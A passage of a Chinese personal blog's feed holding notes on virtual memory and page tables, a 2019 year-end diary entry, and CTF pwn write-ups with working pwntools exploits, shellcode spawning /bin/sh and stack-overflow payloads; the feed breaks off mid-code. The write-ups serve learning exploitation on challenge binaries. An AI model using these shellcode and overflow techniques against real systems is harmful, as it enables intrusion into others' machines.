class=""><p>需要注意的是，该表与上面的页表有所不同，该表是通过虚地址的基号字段和用户虚页号一起，去相联比较页表中是否有满足的项。（而普通的是通过页表基地址+用户虚页号直接得到表中位置）。但该方式查表速度慢，造价较贵，一般不使用目录表来存储全部虚页号和实页号的对应关系，但它可以用来提高地址变换速度。</p><ol><li><strong>辅存实地址</strong></li></ol><p>将页表中装入位为0的行用实页号字段存放该程序此虚页在辅存中的实地址，以便掉页时实现用户虚页号到辅存实地址的变换。这种方法在辅存实地址位数与用户虚页号位数相差太大时就很难利用。</p><h3 id="页面替换算法"><a href="#页面替换算法" class="headerlink" title="页面替换算法"></a>页面替换算法</h3><p>当主存装满时，这时又有新的指令或数据（不在主存），这是页面就会失效，需要从辅存中调页替换。</p><p><strong>随机算法（RAND）</strong>：采用软或硬件随机数产生器产生要被替换页的页号<br><strong>先进先出算法（FIFO）</strong>：选择最早装入主存的页作为被替换页<br><strong>近期最少使用算法（LRU）</strong>：选择近期最少访问的页作为被替换页</p><p><strong>主存页面表</strong>：每一行用于记录主存中各页的使用情况，该表整个系统只有一个。注意：<strong>不是页表！不是页表！不是页表！</strong></p><img src="/2020/05/22/ComputerStorage/%E9%A1%B5%E9%9D%A2%E8%A1%A8.png" class=""><h3 id="页式虚拟存储器工作全过程"><a href="#页式虚拟存储器工作全过程" class="headerlink" title="页式虚拟存储器工作全过程"></a>页式虚拟存储器工作全过程</h3><img src="/2020/05/22/ComputerStorage/%E8%BF%87%E7%A8%8B.png" class=""><h3 id="快表（TLB）"><a href="#快表（TLB）" class="headerlink" title="快表（TLB）"></a>快表（TLB）</h3><p>为了减少访存次数，往往把页表中最活跃的几个页表项复制到高速缓存中，这种在高速缓存中的页表项组成的页表就称位快表。这样，在地址转换中，同时查页表和快表，若在快表中查到，则停止查找页表；若快表中没有查到，则在页表中查，查到后访存并将此虚页号与实页号的对应关系送入快表。这里也需要用替换算法替换快表中已不用的内容。</p><p>快表其实可以看成一个目录表，其与慢表（页表）的内部地址变换如下图：</p><img src="/2020/05/22/ComputerStorage/%E5%BF%AB%E8%A1%A8%E6%85%A2%E8%A1%A8.png" class=""><p>为了提高快表的命中率和查表速度，可以用散列方法实现按内容查找，然后找到对应表项还需要与虚页号<code>Nv</code>对比，一致则形成<code>nv</code>继续后续操作，否则出现了散列冲突，得去慢表中查找。</p><img src="/2020/05/22/ComputerStorage/%E5%BF%AB%E8%A1%A8.png" class=""><p>在IBM370/168中，为了减少散列冲突，快表中每个地址单元中存放多对虚页号与实页号的映像关系，用两套相等电路比较，只有都不相符，才是不命中，再去慢表中获得<code>nv</code>。另外，该虚拟存储器的页表基址寄存器是一个相联寄存器，其行数并不是计算机允许的最大用户数，而是计算机上同时运行的用户的最大个数（比如最多允许<code>2^24</code>个用户，但实际同时存在的用户最多只有六个）。这样大大减少了查询时间，使获取<code>nv</code>更快。</p><img src="/2020/05/22/ComputerStorage/IBM.png" class=""><h3 id="两级页表和多级页表"><a href="#两级页表和多级页表" class="headerlink" title="两级页表和多级页表"></a>两级页表和多级页表</h3><p>一级页表所占内存连续空间太大，因此，提出了两级页表甚至多级页表的概念。</p><p>两级页表分为<strong>页目录表</strong>和<strong>页表</strong>，页目录表中每一行称为<strong>页目录项</strong>，用于记录每一个页表所在的内存的初始位置；页表中的页表项，则和一级页表一样，用于记录<code>nv</code>等信息。这时候，页表就相当于被离散化，就能够提高内存空间利用率。</p><img src="/2020/05/22/ComputerStorage/%E4%BA%8C%E7%BA%A7%E9%A1%B5%E8%A1%A8.png" class=""><h2 id="段页式管理"><a href="#段页式管理" class="headerlink" title="段页式管理"></a>段页式管理</h2><p><strong>原理</strong>：把主存等分为固定的页，程序按模块分段，每个段又分成与主存页面大小相同的页。每到程序通过一个段表和相应的一组页表定位。</p><p>段页式管理的定位映像机构及其地址的变化过程如下图：</p><img src="/2020/05/22/ComputerStorage/%E6%AE%B5%E9%A1%B5%E5%BC%8F.png" class=""><p>其中通过段表得到的就是线性地址，然后线性地址经过页式管理变为主存地址。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;虚拟存储器&lt;/center&gt;</summary>
    
    
    
    <category term="ICS" scheme="http://askylin.top/categories/ICS/"/>
    
    
    <category term="ICS" scheme="http://askylin.top/tags/ICS/"/>
    
    <category term="Storage" scheme="http://askylin.top/tags/Storage/"/>
    
  </entry>
  
  <entry>
    <title>忙里偷闲乐悄生</title>
    <link href="http://askylin.top/2019/12/31/Summary/"/>
    <id>http://askylin.top/2019/12/31/Summary/</id>
    <published>2019-12-31T13:55:18.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h2 id="当下"><a href="#当下" class="headerlink" title="当下"></a>当下</h2><p>还有几个小时就是新的一年了。现在是8:30/31/12/2019，位于南京航空航天大学图书馆。</p><hr><h2 id="2019"><a href="#2019" class="headerlink" title="2019"></a>2019</h2><p>今晚学校里又是一度元旦晚会，而去年的元旦晚会的场景，似乎还历历在目：和松扬在学校散步闲谈，到篝火晚会前看演出、玩游戏、写春联、猜灯谜。2019年就这样拉开了帷幕。</p><p>时光如白驹过隙，今年的元旦晚会，想必也是热闹非凡吧，只是少了去欣赏的念头，只是在图书馆复习之余，兴许是所谓的仪式感作祟，突然就想来写一写年终总结了。那么就随想随写，回顾一下这即将逝去的一年，展望下未来的生活吧。</p><p>记忆中的2019的1月，似乎已经没有什么存在感了，只记得放寒假那天，终于回到了家，和爸妈在外面吃了一顿大餐。然后在寒假之余，似乎也没有做出什么可以刻在记忆之玉上的事情。寒假就这样淡淡的，如同冬日成都的天空，灰灰白白的，流逝过去了。</p><p>那么就到了3月。3月是一个特殊的月份，因为在这31天里，有一天是我的生日。我这个人啊，从小也没怎么在乎过生日，生日是一天，其他的日子也是永恒不变的24小时罢了。不过今年的生日，是我20岁的生日，在这一天，我拿着父母送我的生日礼物—一枚单反相机，独自在学校闲逛了一下午。最后坐在樱花树下，在穿插满淡粉色樱花瓣的草地上，享受着大学生活的安静悠闲的一面。也许是那时，一种仪式感，总是在我忙碌的时候时悄悄冒出来，想着闲下来应该做些什么有意思的事情吧。</p><p>3月之后，就是大学生活的另一面了：信息安全的大二下，真的是魔鬼的一学期。从四月到七月，计组实验始终贯穿着我的日常生活。生活开始规律性的由忙变到很忙再到超级忙，其他事情也想的比较少了。不过忙碌中有结果，计组这门课，真的是学到了不少东西。总的来说，在大二下学期，有收获也有遗憾，有无助和绝望，也有努力终有成的欣喜。也是在这学期，常常因为计组实验做的不完美，而肝到3、4点。这也许是我第一次为了做好一个东西这么肝吧。</p><p>然后到了7月，学校的考试在7月初就结束了，于是 <del>令人兴奋的暑假就来了</del> 暑期实训就来了。其实这个实训学到的东西挺多挺杂的，还记得在临近答辩前的几个晚上，又因为想做到更好而肝到4、5点。不过在实训最后的答辩上，还是有所成，拿了个三等奖，获得了600元的图书卡。不过让我感受深刻的，还是第一次有了团队合作的感觉。</p><p>在暑假，了解了下保研的事项，感觉到自己还差了好多，在很多方面，还需要努力。我也渐渐有了紧张感，到了这学期，在课程的学习上更加的认真了，当下的目标也渐渐明晰，就是取得保研资格。不过这学期，9月份还是太松懈，CSP没有报上名，少了一次考试的机会。然而在12月的CSP考试中，又因为时间太紧，没怎么练习，依旧没有取得理想的成绩。目前就只剩下明年3月的考试了。这次，一定要准备万全，破釜成舟，全心放到练习上，提高自己的编程能力吧。</p><hr><h2 id="未来"><a href="#未来" class="headerlink" title="未来"></a>未来</h2><p>这一年，暂时能想起来之事，也就这么多了。那么再聊聊未来吧。</p><p>在12月的某一个晚上，从自习室出来，独自走在路上，不知怎的，就想到了未来。我想要的未来是什么样子呢？我想要的未来，早已不是幼时那些远大的梦想了。我所期望的未来，其实也就是下面这些样子了：在该努力工作的时候努力工作，为了能去拍摄满天繁星的湖边；能去徒步如Hornstrandir一样宁静而美丽的小岛；能和老朋友们闲时聚会畅谈；能和心爱之人在一个温馨的小房，一起看着孩子慢慢成长。在忙里偷闲，在闲里乐享。</p><p>当然，回到现实，最近的目标就是CSP300分以上和保研资格了，2019年，再见！2020年，加油！</p><hr>]]></content>
    
    
    <summary type="html">&lt;center&gt;再见，2019！你好，2020！&lt;/center&gt;</summary>
    
    
    
    <category term="summary" scheme="http://askylin.top/categories/summary/"/>
    
    
    <category term="summary" scheme="http://askylin.top/tags/summary/"/>
    
  </entry>
  
  <entry>
    <title>pwn_shellcode</title>
    <link href="http://askylin.top/2019/09/24/pwn-shellcode/"/>
    <id>http://askylin.top/2019/09/24/pwn-shellcode/</id>
    <published>2019-09-24T15:03:45.000Z</published>
    <updated>2021-09-20T13:17:53.874Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="Command-Line"><a href="#Command-Line" class="headerlink" title="Command Line"></a>Command Line</h1><p>放入IDA分析伪代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v4; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;0x%lx\n&quot;</span>, &amp;v4, envp);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以知道该程序输出了v4的地址，然后我们使用checksec查看程序是否存在RWX段：</p><img src="/2019/09/24/pwn-shellcode/RWX.png" class=""><p>发现是存在RWX段的，然后在IDA中调试程序，使用<code>Ctrl+s</code>，查看printf打印出地址，发现地址所在栈是RWX的。因此很容易想到直接栈溢出然后劫持RIP，运行一段shellcode即可。因为v4距离RBP差16字节，所以返回地址（shellcode在栈中的地址）为程序打印出来的地址加上32（插入shellcode）字节的位置。exp如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./pwn1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">shellcode_addr = <span class="built_in">int</span>(io.recv()[:-<span class="number">1</span>],<span class="number">16</span>)+<span class="number">0x20</span></span><br><span class="line">shellcode = <span class="string">&#x27;\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05&#x27;</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;\x90&#x27;</span>*<span class="number">24</span>+p64(shellcode_addr)+shellcode</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h1 id="apprentice-www"><a href="#apprentice-www" class="headerlink" title="apprentice_www"></a>apprentice_www</h1><p>首先checksec查看这个文件，发现没有RWX段。放入IDA，分析伪代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  alarm(<span class="number">0x1E</span>u);</span><br><span class="line">  setup(main);</span><br><span class="line">  <span class="keyword">return</span> butterflySwag();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>main函数里面很简单，调用了alarm函数反调试，同时调用了setup和butterflySwag函数。然后查看这两个函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//setup()</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">setup</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// [esp+18h] [ebp-10h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">2</span>; ++i )</span><br><span class="line">    result = mprotect((<span class="keyword">void</span> *)((i &lt;&lt; <span class="number">12</span>) + (a1 &amp; <span class="number">0x8048000</span>)), <span class="number">0x1000</span>u, <span class="number">7</span>);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看到setup函数后，发现调用了mprotect函数，setup函数的作用就是将<code>0x8048000~0x804a000</code>段都改为RWX段。于是有一个模糊思路，就是栈溢出劫持eip然后在RWX段上执行shellcode。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">butterflySwag</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _BYTE *v1; <span class="comment">// [esp+18h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v2; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  __isoc99_scanf((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;unk_8048730, &amp;v1);</span><br><span class="line">  __isoc99_scanf((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;unk_8048733, &amp;v2);</span><br><span class="line">  v2 = (<span class="keyword">unsigned</span> __int8)v2;</span><br><span class="line">  *v1 = v2;</span><br><span class="line">  <span class="keyword">if</span> ( v2 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v2 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;All truly great thoughts are conceived by walking.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v2 &gt; <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v2 &gt; <span class="number">9</span> )</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;When you look into an abyss, the abyss also looks into you.&quot;</span>);</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;He who has a why to live can bear almost any how.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Without music, life would be a mistake.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;That which does not kill us makes us stronger.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到v1所在地址被1字节的v2赋值，为了分析的更清晰，于是查看其汇编代码：</p><img src="/2019/09/24/pwn-shellcode/jnz.png" class=""><p>分析到<code>080485D2</code>处的时候，我们可以看到该处dl寄存器的值赋值给了eax所存储的地址处。其中edx的值是v2，eax的值是v1。那么我们想到，可以利用这段代码，将想要修改的地址修改成我们想要的东西。如果要输入一段shellcode，我们可以使用scanf来进行输入，所以我们注意到<code>080485D9</code>处的jnz指令，只要合理修改jnz的操作数，就可以直接跳到<code>0804859D</code>也就是第一个scanf前，然后输入shellcode。因为jnz的操作数是8位带符号数，所以我们计算出<code>080485D9-0804859D = ffc2</code>，所以只需要将jnz指令后的操作数改为c2就可以了。然后因为分析代码可知，我们将v1用来存储地址，v2用来存放将会在地址上赋值的内容。所以shellcode只能每次输入一个字节。所以需要不断跳到scanf直到输入完整的shellcode。然后再修改jnz指令，跑完程序。exp如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.update(arch = <span class="string">&#x27;i386&#x27;</span>, os = <span class="string">&#x27;linux&#x27;</span>, timeout = <span class="number">1</span>)</span><br><span class="line">io = remote(<span class="string">&#x27;172.17.0.2&#x27;</span>, <span class="number">10001</span>)</span><br><span class="line"></span><br><span class="line">patch_jne_address = <span class="number">0x080485da</span><span class="comment">#jnz loc_80485E9所在地址，修改jnz后的操作数</span></span><br><span class="line">shellcode_address = <span class="number">0x080485db</span><span class="comment">#shellcode放置的地址</span></span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</span></span><br><span class="line"><span class="comment">#xor eax, eax</span></span><br><span class="line"><span class="comment">#push eax</span></span><br><span class="line"><span class="comment">#push 68732F2Fh</span></span><br><span class="line"><span class="comment">#push 6E69622Fh</span></span><br><span class="line"><span class="comment">#mov ebx, esp</span></span><br><span class="line"><span class="comment">#push eax</span></span><br><span class="line"><span class="comment">#push ebx</span></span><br><span class="line"><span class="comment">#mov ecx, esp</span></span><br><span class="line"><span class="comment">#mov al, 0Bh</span></span><br><span class="line"><span class="comment">#int 80h</span></span><br><span class="line"></span><br><span class="line">io.sendline(<span class="built_in">str</span>(patch_jne_address))</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0xc2</span>))<span class="comment">#将jnz loc_80485E9改成jnz loc_804859D，重复执行两个call __isoc99_scanf读取shellcode</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="built_in">len</span>(shellcode)):<span class="comment">#逐字节写入shellcode到jnz loc_80485E9指令后面</span></span><br><span class="line">io.sendline(<span class="built_in">str</span>(shellcode_address+i))</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="built_in">ord</span>(shellcode[i])))</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="built_in">str</span>(patch_jne_address))</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0x00</span>))<span class="comment">#写完shellcode后改为jnz loc_80485DB，执行shellcode</span></span><br><span class="line"></span><br><span class="line">io.recv()<span class="comment">#把垃圾数据读走</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;center&gt;几道基础pwn shellcode问题&lt;/center&gt;</summary>
    
    
    
    <category term="pwn" scheme="http://askylin.top/categories/pwn/"/>
    
    
    <category term="pwn" scheme="http://askylin.top/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>pwn_stack</title>
    <link href="http://askylin.top/2019/08/27/pwn-stack/"/>
    <id>http://askylin.top/2019/08/27/pwn-stack/</id>
    <published>2019-08-27T03:13:10.000Z</published>
    <updated>2021-09-20T13:17:53.874Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="Doubly-Dangerous"><a href="#Doubly-Dangerous" class="headerlink" title="Doubly Dangerous"></a>Doubly Dangerous</h1><p>扔进IDA，F5查看伪代码，我们看到main函数里有两个变量，一个数组和一个单精度浮点数，一个gets函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+Ch] [ebp-4Ch]</span></span><br><span class="line">  <span class="keyword">float</span> v5; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = <span class="number">0.0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Give me a string: &quot;</span>);</span><br><span class="line">  gets(&amp;s);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="number">11.28125</span> == v5 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Success! Here is your flag:&quot;</span>);</span><br><span class="line">    give_flag();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;nope!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分析代码易知当v5等于11.28125时，就会调用<code>give_flag</code>函数，然后得到flag。于是我们的思路就是通过gets函数，使数组<code>s</code>的值覆盖掉v5的值，使v5等于11.28125。<br>那么通过IDA远程调试，断点就设置在main函数即可，然后单步调试，观察栈中的情况，我们发现v5最开始被赋值为零，记录下v5在栈中的位置：</p><img src="/2019/08/27/pwn-stack/dd.png" class=""><p>继续执行，找到数组<code>s</code>在栈中的位置：</p><p>我们要做的，就是在s中填充适当字符，覆盖掉v5为我们想要的。于是这两个栈中的地址相减，得到两者相距64个字节，那么就需要64个字节的字符填充，然后后4字节覆盖v5成11.28125。由计算机组成原理的知识，32位系统，小端，float型数据，得到11.28125的机器码为<code>0x41348000</code>，于是构造payload：<code>64*&#39;a&#39;+&#39;\x00\x80\x34\x41&#39;</code></p><p>通过pwntools最终得到flag:</p><img src="/2019/08/27/pwn-stack/dd3.png" class=""><hr><h1 id="Quals-Warmup"><a href="#Quals-Warmup" class="headerlink" title="Quals-Warmup"></a>Quals-Warmup</h1><p>扔进IDA，查看伪代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">main</span><span class="params">(__int64 a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [rsp+0h] [rbp-80h]</span></span><br><span class="line">  <span class="keyword">char</span> v5; <span class="comment">// [rsp+40h] [rbp-40h]</span></span><br><span class="line"></span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;-Warm Up-\n&quot;</span>, <span class="number">0xA</span>uLL);</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;WOW:&quot;</span>, <span class="number">4uLL</span>);</span><br><span class="line">  <span class="built_in">sprintf</span>(&amp;s, <span class="string">&quot;%p\n&quot;</span>, sub_40060D);</span><br><span class="line">  write(<span class="number">1</span>, &amp;s, <span class="number">9uLL</span>);</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;&gt;&quot;</span>, <span class="number">1uLL</span>);</span><br><span class="line">  <span class="keyword">return</span> gets(&amp;v5, <span class="string">&quot;&gt;&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>查看<code>sub_40060D</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">sub_40060D</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat flag.txt&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分析代码可知，这个程序其实运行的时候，就已经把得到flag的函数地址打印出来了，所以要做的就是栈溢出，使返回值变为<code>sub_40060D</code>。然后查看v5在栈中的位置，使<code>RBP-40H</code>，所以保存的返回地址的起始在栈中的地址为<code>RBP-40H-8H(RBP旧值)-8H</code>，那么payload构造为<code>payload = 72*&#39;a&#39;+p64(0x40060d)</code>即可。通过pwntools得到flag:</p><img src="/2019/08/27/pwn-stack/qw.png" class=""><hr><h1 id="sCTF-2016-q1-pwn1"><a href="#sCTF-2016-q1-pwn1" class="headerlink" title="sCTF 2016 q1-pwn1"></a>sCTF 2016 q1-pwn1</h1><p>扔进IDA，分析伪代码，发现main函数很简单，只调用了一个<code>vuln</code>函数，进入这个函数分析：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// ST08_4</span></span><br><span class="line">  <span class="keyword">const</span> <span class="keyword">char</span> *v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+1Ch] [ebp-3Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v4; <span class="comment">// [esp+3Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="keyword">char</span> v5; <span class="comment">// [esp+40h] [ebp-18h]</span></span><br><span class="line">  <span class="keyword">char</span> v6; <span class="comment">// [esp+47h] [ebp-11h]</span></span><br><span class="line">  <span class="keyword">char</span> v7; <span class="comment">// [esp+48h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">char</span> v8; <span class="comment">// [esp+4Fh] [ebp-9h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Tell me something about yourself: &quot;</span>);</span><br><span class="line">  